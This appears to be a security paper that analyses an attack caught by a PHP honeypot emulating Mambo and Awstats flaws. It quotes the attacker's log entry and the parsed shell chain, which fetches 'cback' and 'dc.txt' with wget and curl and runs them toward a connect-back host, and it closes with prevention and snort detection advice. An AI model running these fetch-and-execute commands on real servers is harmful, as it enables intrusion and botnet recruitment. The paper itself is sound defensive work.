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Abstract

This paper describes a simple honeypot using PHP and emulating several vulnerabilities in Mambo
and Awstats. We show the mechanism used to 'compromise’ the server and to download further
malware. This honeypot is 'fail-safe' in that when left unattended, the default action is to do nothing —
though if the operator is present, exploitation attempts can be investigated. IP addresses and other
details have been obfuscated in this version.
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Background

The idea for this honeypot was suggested by several captures using the snort Intrusion Detection System [SNT] on a
production server. I got tired of seeing various exploits being attempted against my server with little idea of what I
would do if an attack was successful. I always make sure my machines are fully patched, but there was the chance of
a 0-day, or of a problem being exploited before a patch was issued.

Actors

10.0.x.x — victim

10.0.y.y — syslogd host

216.63.z.z — initiator

66.98.a.a — server hosting the defacing tool

216.99.b.b — machine we get the first stage payload from
217.160.c.c — machine that we connect back to

219.96.d.d — machine we get the second stage payload from

On this occasion, packets were captured which corresponded to the following apache log entry:

216.63.z.z - - [28/Feb/2006:12:30:44 +1300] "GET /index2.php?option=com conte
nt&do pdf=1&id=lindex2.php? REQUEST [option]=com content& REQUEST[Itemid]=1&GL
OBALS=&mosConfig absolute path=http://66.98.a.a/cmd.txt?&cmd=cd%20/tmp;wget%2
0216.99.b.b/cback; chmod%20744%20cback; ./cback%$20217.160.c.c%208081;wget%20216
.99.b.b/dc.txt;chmod%20744%20dc. txt;perl%20dc.txt%20217.160.c.c%$208081;cd%20/
var/tmp; curl%20-0%20cback%20http://216.99.b.b/cback; chmod%20744%20cback; ./cba
ck%20217.160.c.c%208081;curl%20-0%20dc.txt%20http://216.99.b.b/dc.txt;chmod%2
0744%20dc.txt;perl%20dc.txt%20217.160.c.c%208081;echo%20YYY;echo| HTTP/1.1"
404 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-" 0
localhost

This isn't the relatively common awstats configdir command execution exploit [AWS], but instead uses the Mambo
remote file include vulnerability [MBO] to execute http://66.98.a.a/cmd.txt on the victim machine — the Philipine
Honeynet Project have analysed an incident in which this script appears:

“'Defacing Tool 2.0 by r3v3ng4ns' is a suite of php based scripts that allows the attacker to send commands to
the server primarily with the intent to deface websites. The attacks caught by the honeynet has identified a new
host for the scripts located in 'http://aldoilea.info/cmd.txt' ” [PHI]

Here's the log of our honeypot tool — the program essentially fakes a vulnerable host and downloads the payload of
any wget commands which may be embedded in it. If these in turn consist of shell scripts with wget's, their payload
is also downloaded. (This was done because early captures I saw made use of an initial shell script which wget'ed
two further binaries which were executed on the system.)

--12:30:46-- http://216.99.b.b/cback
=> " /tmp/216.99.b.bslashcback-2006-02-28T12:30:46+1300"
Connecting to 216.99.b.b:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4,172 [text/plain]

0K oooo 100% 716.80 B/s

12:31:03 (716.80 B/s) - /tmp/216.99.b.bslashcback-2006-02-28T12:30:46+1300' saved [4172/4172]

The command that was parsed out is as follows:

cd /tmp; \

wget 216.99.b.b/cback; chmod 744 cback; \

./cback 217.160.c.c 8081; \

wget 216.99.b.b/dc.txt; chmod 744 dc.txt; \

perl dc.txt 217.160.c.c 8081;cd /var/tmp; \

curl -o cback http://216.99.b.b/cback;chmod 744 cback; \
./cback 217.160.c.c 8081; \
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Someone's trying to cover all the bases here. Maybe /tmp has been marked non-executable? No problem, most
servers have perl installed.

It's worth noticing, that five distinct computers have taken part so far — the victim, the computer which exploits the
vulnerability and initiates the download, the machine that the malware is downloaded from, the fourth computer
which will be connected to on port 8081 and the fifth which is hosting “Defacing Tool v2.0”.

This is dc.txt:

To run the malware, I used a copy of VMWare Player [VMW], together with a community image of Debian 3.1r1
[VMD]. The initial install was updated to current Debian stable before use. Upon execution of 'perl dc.txt
217.160.c.c 8081"' we see the following happen — using windump [WND] on the host Operating System of the
virtual machine:

Here, dc.txt is beginning its report 'id, pwd;uname -a,w," — 1 sincerely hope you are not running as root in real life.
Anyone who is running snort can breathe a sigh of relief that they will see an alert for this — captured here as a
syslog packet:

More of the report follows, with details about the logged in users, load, and operating system details:
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Very quickly we see a reply from the remote server — suggesting some kind of automation on the remote end. The
victim is instructed to download and run a perl program called "'under'. It is downloaded from a fifth server which we
haven't seen up until now.
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On execution of 'under', the victim computer joins an IRC channel:
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Oops, we've been owned and now we're a member of a botnet. 'under' seems to contain code to conduct Denial of
Service attacks and to scan ports 21,22,23,25,53,80,110 and 143/tcp.

Prevention

Obviously, if the vulnerable application had not been installed or had not been patched, no further harm would have
been done. The exploit is widely adaptable to other vulnerabilities, such as awstats.pl, so all applications have to be
carefully monitored.

To block the vector, we could have /tmp and /var/tmp as non-executable, and not have perl in the current path — or
have /tmp and /var/tmp non-existent. A second solution would be to use mod_security to block common regular
expressions in GET and POST parameters such as /wget \d/. A third is to use a firewall to prevent the server from
initiating connections outbound.

SANS suggest setting allow_url fopen to off in php.ini if possible [SAN].

Detection

As we saw, snort detected the initial exchange of the compromise, specifically the output of the 'id' command.

Further bot activity, especially communication with the IRC server can often be picked up by signatures from the
bleeding snort project [BLD], derived from data from the University of Stuttgart's CERT [BOT].
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